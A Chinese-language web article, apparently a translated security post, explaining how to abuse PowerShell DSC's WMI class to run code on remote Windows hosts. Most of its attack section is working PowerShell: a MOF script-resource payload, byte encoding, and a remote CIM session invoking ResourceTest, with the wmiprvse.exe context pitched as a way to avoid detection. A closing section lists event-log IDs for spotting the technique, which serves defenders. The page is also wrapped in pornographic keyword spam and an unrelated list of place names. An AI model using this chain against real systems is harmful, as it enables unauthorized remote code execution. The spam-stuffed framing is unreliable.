亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么通過PowerShell DSC進行橫向滲透

發布時間:2021-12-18 09:55:18 來源:億速云 閱讀:142 作者:小新 欄目:網絡安全

這篇文章主要為大家展示了“怎么通過PowerShell DSC進行橫向滲透”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“怎么通過PowerShell DSC進行橫向滲透”這篇文章吧。

橫向滲透技術簡介

PowerShell期望狀態配置(DSC)允許需要執行的資源直接使用WMI,在DSC WMI類的幫助下,我們可以通過濫用內置腳本資源來實現PowerShell代碼的遠程執行。

這樣的橫向滲透技術有如下幾點好處:

1.PowerShell將在WMI服務-wmiprvse.exe環境下執行,從躲避檢測的角度來說這是一個優勢。

2.Payload的每一個組件都跟WMI有關系。

3.無需配置DSC服務。

橫向滲透技術要求

1.ResourceTest方法必須在MSFT_DSCLocalConfigurationManager這個WMI類中,該類需位于root/Microsoft/Windows/DesiredStateConfiguration命名空間中。注意:攻擊者還可以選擇調用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以這項技術并不適用于全部主機。

2.默認情況下,如果你要遠程調用WMI方法,你需要擁有管理員憑證。WMI的安全是通過DCOM或WSMan安全設置來實現的,在建立遠程連接時,WMI是通過目標命名空間的安全描述符實現的(root/Microsoft/Windows/DesiredStateConfiguration)。

攻擊PoC

第一步就是準備Payload如何執行。你需要在目標主機上執行的PowerShell代碼需要是MOF格式的,下面給出的是一份Payload樣本:

$MOFContents= @'instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref{       ResourceID ="[Script]ScriptExample";       GetScript = "\"$(Get-Date): Iam being GET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";      TestScript = "\"$(Get-Date): Iam being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True";       SetScript = "\"$(Get-Date): Iam being SET\"   | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";       SourceInfo = "::3::5::Script";       ModuleName = "PsDesiredStateConfiguration";       ModuleVersion = "1.0";       ConfigurationName ="ScriptTest";};instance of OMI_ConfigurationDocument{       Version="2.0.0";       MinimumCompatibleVersion ="1.0.0";       CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"};       Author="TestUser";       GenerationDate="02/26/201807:09:21";       GenerationHost="TestHost";       Name="ScriptTest";};'@

這里,唯一需要修改的就是PowerShell Payload。在我們的樣例中,我們將調用ResourceTest方法,該方法會返回上面的“TestScript”屬性。需要注意的是,特殊字符需要轉義處理。

下一步就是把MOF轉換成二進制形式,這種數據形式也是ResourceTest方法要求的:

#Change this to false if you want to test the payload locally$ExecuteRemotely= $True$NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))$NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)$TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)if($ExecuteRemotely) {       # Prepend the length of the payload       [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes}else {       # If executing locally, you do notprepend the payload length       [Byte[]] $MOFBytes = $NormalizedMOFBytes}

在上述樣例中,如果你想在本地測試你的Payload,請不要在Byte數組中添加Payload長度。Payload正確編碼之后,剩下的就是在目標主機上執行Payload了。

#Specify the credentials of your target$Credential= Get-Credential -Credential TempUser$ComputerName= 'TargetHost'#Establish a remote WMI session with the target system$RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential$LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSessionif($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {       # You may now proceed with lateralmovement       $MethodArgs = @{           ModuleName          ='PSDesiredStateConfiguration'           ResourceType   = 'MSFT_ScriptResource'           resourceProperty= $MOFBytes       }       $Arguments = @{           Namespace  ='root/Microsoft/Windows/DesiredStateConfiguration'           ClassName  = 'MSFT_DSCLocalConfigurationManager'           MethodName= 'ResourceTest'           Arguments  = $MethodArgs           CimSession= $RemoteCIMSession       }       # Invoke the DSC script resource Testmethod       # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0.       Invoke-CimMethod @Arguments}else {       Write-Warning 'The DSC lateral movementmethod is not available on the remote system.'}

在上面的例子中,大家請注意,我首先驗證了遠程類和方法的優先級。在使用WMI技術時,我們建議大家首先驗證遠程類和方法的優先級。

接下來,代碼會將Payload下載到目標主機的磁盤中。如果你想要使用WMI來遠程獲取文件內容,你可以配合使用【這項技術】。除此之外,我這里還使用了CIM cmdlet,這個功能是在PowerShell v3中引入的,如果你需要適用v2版本的話,你還可以使用舊版本的WMI cmdlet。

終端檢測&保護

幸運的是,我們可以通過檢查事件日志來發現這種攻擊活動,并進行及時檢測。

Microsoft-Windows-PowerShell/Operational事件日志

EventID: 53504

“PowerShell Named Pipe IPC”事件表明PowerShell AppDomain已啟用。當DSC執行腳本資源時,這個事件會自動捕捉“DscPsPluginWkr_AppDomain”。而AppDomain對于一次DSC執行來說是唯一的,下面是一個事件樣例:

Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.

“Windows PowerShell”事件日志

EventID: 400

在正常的PowerShell日志中,事件ID 400表明一個新的PowerShell主機進程被創建。當DSC腳本資源執行時,它會生成一個唯一的事件日志條目,并對其進行簽名。下面是一個樣例(引擎狀態從NONE轉換成了Available):

Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=Default Host HostVersion=5.1.17134.81 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d HostApplication=C:\Windows\system32\wbem\wmiprvse.exe EngineVersion=5.1.17134.81 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine=

Microsoft-Windows-DSC/Operational事件日志

EventID: 4102

當一個DSC資源被發送至目標主機之后,系統會響應這個事件。如果目標主機存在于一個計算機域中,那么系統會返回執行這個DSC資源的用戶SID以及源主機信息。下面是事件樣本信息:

Job{893F64B5-ABBF-11E8-B005-D336977413FC} :OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.

以上是“怎么通過PowerShell DSC進行橫向滲透”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

繁昌县| 茌平县| 德江县| 高密市| 通河县| 松江区| 宝清县| 仙游县| 大洼县| 翼城县| 台东县| 武定县| 建平县| 图木舒克市| 水富县| 施秉县| 保定市| 鄱阳县| 深圳市| 澜沧| 光山县| 黄大仙区| 玉林市| 日喀则市| 绥中县| 望江县| 莒南县| 临高县| 沾益县| 同仁县| 桂林市| 凉城县| 达尔| 长武县| 惠东县| 定安县| 乌什县| 韶关市| 辽宁省| 循化| 三原县|